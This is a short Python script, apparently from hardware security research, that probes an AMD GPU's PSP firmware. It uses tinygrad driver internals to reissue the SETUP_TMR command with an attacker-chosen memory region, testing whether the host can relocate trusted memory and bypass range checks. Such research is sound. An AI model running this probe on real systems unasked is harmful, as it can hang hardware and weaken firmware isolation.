#!/usr/bin/env python3
"""Can the host re-SETUP or DESTROY the TMR after boot?

Pass 87 verified the PSP range-checks host buffers against the trusted region. That check is
only meaningful if the host cannot move or remove the region. GFX_CMD_ID_SETUP_TMR (0x5) and
GFX_CMD_ID_DESTROY_TMR (0x7) are host-issuable, so this asks the platform directly.

If a second SETUP_TMR with an attacker-chosen base/size is accepted, the host controls what
counts as trusted memory and the range check becomes bypassable. Ordered least-destructive
first; a wedge is ATX-recoverable.
"""
import sys, time
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
from ring_wrap import install
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
submit=install(psp,adev)
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
print('current TMR: paddr=%#x size=%#x'%(psp.tmr_paddr,psp.tmr_size), flush=True)
def send(tag, build):
    c=am.struct_psp_gfx_cmd_resp(); build(c)
    t0=time.time()
    try: r=submit(c); st=r.resp.status&0xFFFFFFFF
    except Exception as e:
        try: st=int(str(e).strip().split()[-1])&0xFFFFFFFF
        except Exception: st=-1
    dt=time.time()-t0
    print('  %-44s -> %#-10x %.1fs%s'%(tag,st,dt,'  <<< HANG' if dt>5 else ''), flush=True)
    return st
# our own scratch region, deliberately NOT the real TMR
pa,mc=alloc(0x100000)
def mk_setup(c):
    c.cmd_id=am.GFX_CMD_ID_SETUP_TMR
    t=c.cmd.cmd_setup_tmr
    t.buf_phy_addr_lo, t.buf_phy_addr_hi = mc&0xFFFFFFFF, mc>>32
    t.buf_size=0x100000
send('SETUP_TMR again, attacker-chosen 1MB region', mk_setup)